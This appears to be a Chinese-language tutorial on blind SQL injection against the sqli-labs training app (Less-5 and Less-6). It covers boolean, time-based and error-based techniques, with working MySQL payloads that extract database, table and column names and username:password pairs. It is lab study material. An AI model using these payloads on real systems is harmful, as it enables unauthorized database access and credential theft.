SQL注入中,我们会尝试使用一些手段让SQL语句拼接之后执行错误,这时候如果有回显(从数据库直接取数据,如果有错误,错误信息直接被显示在界面上),例如Less 1-4,我们可以清楚的知道哪里出了问题,进而猜出原SQL语句。但是如果没有回显(也就是盲注),
布尔盲注(构造逻辑判断)
截取字符串常用函数:
# 截取字符串一部分
mid(column_name, start[, length]) # column_name可以为sql语句,start默认从1开始,length可选参数,截取指定长度
eg: str="123456" mid(str,2,1) # 结果为2
substr(string, start, length) # 描述同mid()
substring(string, start, length)
# 得到字符串左部指定个数的字符
left(string, n) # string为要截取的字符串,n为长度
# 返回第一个字符的ASCII码,经常与上面的函数进行组合使用
ord()
regexp 正则注入
▲常用正则:
. | 匹配除换行符(\n、\r)之外的任何单个字符。要匹配包括 ‘\n’ 在内的任何字符,请使用像"(.|\n)"的模式。 |
? | 当该字符紧跟在任何一个其他限制符 (*, +, ?, {n}, {n,}, {n,m}) 后面时,匹配模式是非贪婪的。非贪婪模式尽可能少的匹配所搜索的字符串,而默认的贪婪模式则尽可能多的匹配所搜索的字符串。例如,对于字符串 “oooo”,‘o+?’ 将匹配单个 “o”,而 ‘o+’ 将匹配所有 ‘o’。 |
{n} | n 是一个非负整数。匹配确定的 n 次。例如,‘o{2}’ 不能匹配 “Bob” 中的 ‘o’,但是能匹配 “food” 中的两个 o。 |
{n,} | n 是一个非负整数。至少匹配n 次。例如,‘o{2,}’ 不能匹配 “Bob” 中的 ‘o’,但能匹配 “foooood” 中的所有 o。‘o{1,}’ 等价于 ‘o+’。‘o{0,}’ 则等价于 ‘o*’。 |
{n,m} | m 和 n 均为非负整数,其中n <= m。最少匹配 n 次且最多匹配 m 次。例如,“o{1,3}” 将匹配 “fooooood” 中的前三个 o。‘o{0,1}’ 等价于 ‘o?’。请注意在逗号和两个数之间不能有空格。 |
* | 匹配前面的子表达式零次或多次。例如,zo* 能匹配 “z” 以及 “zoo”。* 等价于{0,}。 |
\w | 匹配字母、数字、下划线。等价于’[A-Za-z0-9_]’。 |
* 和 + 限定符都是贪婪的,因为它们会尽可能多的匹配文字,只有在它们的后面加上一个 ? 就可以实现非贪婪或最小匹配。
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);
注意:limit 0,1作用在前面的 select 语句中,而不是 regexp。在 regexp 中我们是取匹配 table_name 中的内容,只要 table_name 中有的内容,我们用 regexp 都能够匹配到。
时间盲注(页面延时)
# 适合正确显示页面和错误显示页面差别较大的情况
if(ascii(substr(database(),1,1))>115,0,sleep(5)) # 条件为假,执行sleep
报错盲注(错误回显)
select count(*) from information_schema.tables group by concat(version(), floor(rand(0)*2));
# 如果关键的表被禁用了,可以使用这种形式
select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2));
# 如果 rand 被禁用了可以使用用户变量来报错
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2);
# 以下错误需要版本在 5.5.5 及其以上才能显示
select exp(~(select * from(select user())a)) # double 数值类型超出范围
# 得到表名:
select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));
# 得到列名:
select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));
# 检索数据:
select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));
select !(select * from (select user())x) - ~0 # bigint 超出范围
# 得到表名:
!(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x) - ~0;
# 得到列名:
select !(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x) - ~0;
# 检索数据:
!(select*from(select concat_ws(':',id, username, password) from users limit 0,1)x) - ~0;
extractvalue(1,concat(0x7e,(select @@version),0x7e)) # mysql对xml数据进行查询和修改的xpath 函数,xpath 语法错误
updatexml(1,concat(0x7e,(select @@version),0x7e),1) # mysql对xml数据进行查询和修改的xpath 函数,xpath 语法错误
介绍几个常用系统函数:
- version()——MySQL 版本
- user()——数据库用户名
- database()——数据库名
- @@datadir——数据库路径
- @@version_compile_os——操作系统版本
Less-5
布尔盲注:
?id = 1 # 正确登录结果,显示 You are in .....
?id = 1' # 发现错误 '1'' LIMIT 0,1
猜测SQL语句:$sql = select * from user where id='$id' limit 0,1;
但是没有回显,说明下面还有处理。大致意思为:如果能在数据库中找到该条记录,返回True,执行True里面的输出语句"You are in …"
尝试的顺序都是 数据库–数据表–字段值–数据
每一步都是先确定长度{ and length(…)>长度 },再确定对应的具体字母,得到正确库名/表名{ and ascii(mid((…),第几位,1))>ASCII码 }
需要写脚本,要不然人工一个一个试给你累死。建议了解一下python的request库,贼方便。
tips:基本语句就是上面几个,select语句改一下就行,需要循环控制
?id=1' and left(version(),1)=5 --+ #正确登录结果,显示 You are in .....,说明版本号是5开头的
?id=1' and length(database())=8 --+ #猜数据库长度
?id=1' and ascii(mid(database(), {i} ,1)='a'--+ #猜数据库名字
接下来都差不多
时间盲注
?id=1’ and if(length(database())=8,1,sleep(5)) # 条件为假,执行sleep
?id=1’ and if(ascii(mid(database(),{ i },1))=115,1,sleep(5)) # 条件为假,执行sleep
Less-6
?id=1" #发现错误 "1"" LIMIT 0,1
源码:
$id = $_GET['id'];
$sql = select * from user where id="$id" limit 0,1;
url = 'http://localhost/sqli-labs-master/Less-6/?id=1"'
r_url = url + " and length(database())>{ i }%23" #数据库长度
r_url = url +" and ascii(mid((database()),1,1))>{ i }%23" #数据库名字